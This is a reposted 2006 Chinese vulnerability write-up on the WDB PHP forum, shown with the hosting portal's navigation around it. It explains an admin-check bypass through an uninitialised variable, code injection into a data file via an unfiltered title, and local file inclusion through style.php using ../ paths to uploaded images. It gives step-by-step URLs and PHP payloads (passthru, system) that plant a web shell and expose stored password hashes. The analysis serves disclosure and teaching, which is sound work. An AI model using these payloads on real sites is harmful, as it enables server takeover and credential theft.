登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
  立华软件园 - 安全技术中心 - 技术文档 - 漏洞分析 技术文章 | 相关下载 | 电子图书 | 攻防录像 | 安全网站 | 在线论坛 | QQ群组 | 搜索   
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
 其他安全技术资源
  · 攻防演示动画
  · 电子图书
  · QQ群组讨论区
  · 其他网站资源
最新招聘信息

WDB论坛存在多个严重漏洞
发表日期:2006-03-12作者:[I.T.S]Jambalaya[转贴] 出处:安全焦点  

WDB论坛存在多个严重漏洞

作者:[I.T.S]Jambalaya
论坛:www.itaq.org

===============================================
仅以此文送给我的好友Bytes,
并祝他和他的女友璐子能够真的相爱一生,白头偕老
===============================================

前言:
我在和很多网管谈到WEB安全的时候,很多人告诉我WEB安全就是sql injection,“不就是在一个变量后面嵌入你的sql语句么,这个我也会”,这是我听到最多的人们对WEB安全的认识,WEB安全难道仅仅是sql injection,当然不是!sql injection只不过是冰山一角罢了。认为注入就是WEB安全全部的人们阿,睁大你的眼睛,看我用实际行动给你一击响亮的耳光吧!

描述:
最近在读WDB论坛,这个论坛很好看,风格华美而且和LB5有一点相像,但是安全性实在是不敢恭维,如果我说平均5个文件就有一个漏洞,那是一点都不夸张,虽然作者好像已经有意的作了一些防范,但是过滤不是非常严格。导致恶意用户或者非典型恶意用户可以写入自己的代码,然后可以执行自己语句进而控制整个系统。

一、topsys.php全局变量未初始化导致控制整个论坛

1、漏洞分析

topsys.php是管理员用来集中管理论坛总制顶贴子的文件,这个文件可用来对论坛帖子实现总制顶,清空,删除等操作, 就是这样的小小的文件,由于编程人员对其中的个别变量没有初始化,却带来了可以控制整个论坛,甚至整个控制系统的危害。
让我们先看看,要如何绕开限制先,部分代码如下:
=========codz begin===========
13 if ($login_status==1 && ($username==$admin_name ||($manager && in_array($username,$manager)))) {$announceadmin=1;}
14 //----让增加的管理员有权管理!----------
15 if (file_exists("datafile/admin_user.php")) {
16 include("datafile/admin_user.php");
17 if ($admin_user && in_array($username,$admin_user)) {
18 $announceadmin=1;
19 }
20 }
21 //----让增加的管理员有权管理!----------
22 $musia=0;
23 if ($announceadmin==1) $musia=1;
=========codz endz============

我们从第13行的检查可以看出来,他这段代码就是为了判定是不是有管理员权限,如果有的话则设定$announceadmin变量为1,好,后面管理员没忘记初始化一下$musia,然后检查$announceadmin变量是不是为1,如果为1,再设定$musia变量为真。这里我们先不管,往后面看。
再来看一段代码:

=========codz begin===========
150 if ($job=="write") {
151 if ($announceadmin!=1) {require("header.php");
152 echo "对不起,未登陆或者身份不正确,请 <a href='javascript:history.back(1);'>返回检查</a>";
153 require("footer.php");
154 exit;}
//后面进行制顶操作......
=========codz endz============

程序是如何验证管理员身份呢?编程人员就凭借了一个值来进行判断。他这里检查announceadmin变量是否为1,如果不为1,则报错说身份不正确(不是管理员)。好了,回过头去看一下,刚才那看似严密的验证,你想到什么了没有?大家可能都发现了,那个用来检查是否有管理员权限的值却并没有做初始化,那么如果我们直接构造语句提交$announceadmin=1。我们就可以用管理员权限来发布、删除制顶的帖子。我们来试试看,提交
http://bbs.target.com/topsys.php?announceadmin=1
我们已经能看出来和刚才有什么不一样了,多了管理员的管理模块,好我们找个贴子制顶,提交URL如下:
http://bbs.target.com/topsys.php?announcea...tent=hello,this is Jambalaya &title=wdbread.php?forumid=1&filename=f_27,我们这里把第一个论坛的第27个贴子,标题为"hello,this is Jambalaya"的贴子制顶了。回车看看,哈哈,我们成功了。这里我们用相同的方法可以去删除,清空总制顶的贴子,这里再去分析就有点浪费时间了,大家自己看吧。高兴一阵子后,想起来了,我们怎么能控制整个网站呢?HOHO~~真正的攻击在这里呢......跟我来~~~~~

上面这些没什么,无非就是能以管理员身份总制顶、清空和删除帖子,其他的什么也做不了了,但我们却成功的绕过了对管理员权限的验证,绕过之后的我们是与众不同的,不信?呵呵,wait and see...
我们来看下面的代码:

=========codz begin===========
165 if (file_exists("datafile/topsys.php")) $msg=file("datafile/topsys.php");
166 else $msg[0]="";
167
168 $content=stripslashes(safe_convert($content));
169 $title=stripslashes(safe_convert($title));
170 $title="".$title;
171 if($filename) $title=$title."&filename=".$filename;//for wdbread.php
172 $new="$user|$title|$timestamp|$content|$member\n";
173
174 $oldcount=count($msg);
175 if ($oldcount>$msgg_max) {
176 for ($i=$msgg_max; $i<$oldcount; $i++) unset($msg);
177 }
178
179 $old=implode("",$msg);
180 writetofile("datafile/topsys.php",$new.$old);
=========codz endz============

这些是我们得到管理员权限后可以看到的东西,让我们看看,他首先检查是不是存在datafile/topsys.php,这个文件是用来纪录那些制顶的贴子的。好了,看看他都写入了什么?writetofile("datafile/topsys.php",$new.$old)从这句可以看出,他将$new.$old写入topsys.php中,而$new="$user|$title|$timestamp|$content|$member\n",其中$user和$timestamp是固定的,$title和$content似乎可以用,只是那个safe_convert函数看着有点吓人。但对安全的人来说,细心、耐力是不可以缺少的,否则所谓的好运是不会主动找到你的。为了不放过一个细节,我们还是看一下这个函数,看看是不是存在过滤不严。于是去global.php翻出这个函数:
=========codz begin===========
837 function safe_convert($d) {
838 $d = str_replace("\t","",$d);
839 $d = str_replace("<","&lt;",$d);
840 $d = str_replace(">","&gt;",$d);
841 $d = str_replace("\r","<br>",$d);
842 $d = str_replace("\n","",$d);
843 $d = str_replace("|","│",$d);
844 $d = str_replace(" "," &nbsp;",$d);
845 return $d;
846 }
=========codz endz============

看完之后,一身冷汗,过滤得很严嘛,几个重要的字符基本上都被他消灭了。看来想从这里找到过滤不言的地方是不大可能了。回去看其他几个变量,剩下的就一个$member了,上下文扫一眼。嗯,这个我们可以控制。我们就用这个值向文件里写入我们自己的代码。
喂!等一下!等一下!其实看到这里就可以开始写攻击方法了,但是我们打住一下。仔细看一下我们的代码,和我的分析过程,其实这里有我们忽略的一点,你注意到了么?没有?重新来看一遍。
假设这里$member变量也被过滤了,我们还有什么方法?仔细看看,其实那个$title变量并没有真正的被过滤,这里编程人员犯了一个严重的逻辑错误。他在一开始就对$title进行过滤是没错的,但是他却在过滤之后重新给$title赋值,这就不对了,来看看这句:"if($filename) $title=$title."&filename=".$filename"。他在对title严格的过滤后,又给title这个变量重新赋入新值,而这个这个新值并没有经过任何过滤。那么我们用这个新值完全可以写入自己的代码。就好像给一个防御者一把坚实的盾牌之后,在盾牌中间挖了一个大洞,然后对弓箭手说:"好了,你们可以放箭了"。
从这里可以看出任何一个细节的不注意,都会让自己的防御土崩瓦解。

2、攻击方法
该分析都分析完了,"君子动手不动口",来,来,上手了~~~~
我们既然可以向里面写入代码,那我们写些什么呢?0.001秒的思考之后,我决定写入一个shell进去。我们要一次性写入所有东西。先注册一个用户:
username:Jambalaya
password: itaq.org
然后发个帖子,标题是"我test一下哈",内容是"我是Jambalaya,我来自www.itaq.org,大家有工夫过来玩啊"。哈哈,提交下面的URL:
http://bbs.target.com/topsys.php?announcea...#036;jam);?>
然后直接访问http://bbs.target.com/topsys.php?jam=dir,看看,怎么样?一个shell做成了~~~~
dir一下看看里面的目录,看到user_jkljkl是保存用户的目录,提交URL:
' target='_blank'>http://bbs.target.com/user_jkljkl/用户名,?....没??兔苈肓?P
不过这样太容易被发现了,你可以先把对方的总制顶帖子卸下来,然后再制顶上去,顺便写一个shell到里面
那个title变量没过滤全的应该怎么做?大家自己试试看,毕竟,看懂和理解是两码事,理解和会应用又是两码事,在IT安全论坛我们有一句口头禅,是好友SystEm32带来的,我很喜欢,这里送给大家:"如果你没有实践过,那么对不起,你没有资格发言!"


二、Style.php文件未作任何过滤

下面我们来看看style.php文件,该文件其中变量并没有经过任何过滤,导致恶意攻击者可以执行自己的恶意代码,进而可以控制整个网站。
测试环境:iis5.0+windows2000

1、具体漏洞

描述:
我们先来看一下style.php的相关代码:
=========codz begin===========
<?
if (empty($skin)) $skin=水晶经典;
if (file_exists("datafile/style/".$skin)) include("datafile/style/".$skin);
else include("datafile/style/水晶经典");
=========codz ends=============
代码本身的原意是对论坛的外观风格进行设置,如果skin这个变量不为空,那么设置skin。如果datafile/style/下的skin这个文件存在,则include这个文件。我们注意到代码中skin这个变量并没有作任何检查,也就是说我们可以做任何操作,或者用"../","./"来跳转到任何目录或者include我们指定的任何文件。

那么我们现在怎么做呢?我们知道include可以用来解释执行php文件代码,即使它是以图片形式保存的,那么后面的就简单多了,首先要上传一个图片,WDB版本不同上传的方法也不同,有的汉化版本可以上传头像,有的只能上传附件,我用的这个水晶论坛只可以上传附件,而且还要发一定量的贴子才可以。在疯狂发贴后,发现终于可以上传附件了。上传一个附件,看到论坛将其保存为upload/forum1_f_23_978374564.jpg,现在可能有的朋友想在jpg中写入一个PHP木马,然后用include来解释执行.呵呵,这是行不通地.include的确可以解释jpg中的代码,但是如果你他不能去在问号后面接受GET传送来的变量.

我们可以直接作一个探针来寻找保存user的目录,直接在jpg文件中写入<?passthru("dir");?>,在url中直接请求http://bbs.target.com/myhome/wdb/datafile/style.php?skin=../../../upload/forum1_f_23_978374564.jpg,然后靠返回来的值,得到绝对路径,如我得到的绝对路径是F:\myhome\wdb\datafile,顺便还得到了里面的所有的文件,再上传一个图片,里面写到<?passthru("dir f:\\myhome\\wdb")?>,再次在URL中请求http://bbs.target.com/myhome/wdb/datafile/style.php?skin=../../../upload/forum1_f_23_978374564.jpg,返回来的就是f:\myhome\wdb中的目录和文件,从中找到user目录,我找到的是user_jkljkl,在URL中提交请求http://bbs.target.com/myhome/wdb/user_jkljkl/Jambalaya,我们直接就能看见Jambalaya的密码了,得到如下:
Jambalaya|EED8CDC400DFD4EC85DFF70A170066B7||jam@itaq.org||1083116258||||||1084002908|2||none|998.4|1084150077|1084150372||||||1068|jam 2004-05-08 15:55|wdbread.php?forumid=1&filename=f_13|||1|||192.168.0.13
Jambalaya的密码就是EED8CDC400DFD4EC85DFF70A170066B7
下面我来弄一个shell,在另一个文件中写到<?system($a);?>,保存成jpg文件上传,路径是upload/forum1_f_24_978374654.jpg,在上传一个文件内容是<?rename "f:\\myhome\\wdb\\upload\\forum1_f_24_978374654.jpg","jam.php"?>的图片,保存成upload/forum1_f_25_978374773.jpg,在URL中直接调用http://192.168.0.13/myhome/wdb/datafile/style.php?skin=../../../upload/forum1_f_25_978374773.jpg,这样的目的就是让它执行我们的指令直接更改后缀名为php,这样成功调用我们的语句得到了一个shell.

三、收尾:
到这里文章就写完了,准备做收尾工作,还是那句老话:不希望大家去攻击别人。
这里必须要强调的是论坛漏洞的存在,危害的不仅仅是论坛本身,而是整个系统安全!
笔者较早前就发现了这几个漏洞,刚开始只是在itaq.org的内部版和大家交流,并没有打算公布。前不久,遇到了一个叫lovehacker的前辈,他告诉我只有不断的交流才能不断的提高,那些敝帚自珍,研究东西后不舍得与别人共享的人是无法提高的。他把自己发现服务器漏洞的经验无私的拿出来共享。他的共享精神让我无地自容,这里感谢lovehacker的教诲。
行文仓促,技术有限,如果文中有什么错误,还希望高手来www.itaq.org当面指正,不胜感激。

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 WDB论坛存在多个严重漏洞

 ■ [欢迎对本文发表评论]
用  户:  匿名发出:
您要为您所发的言论的后果负责,故请各位遵纪守法并注意语言文明。

最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接  
Copyright ©2001-2006 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00197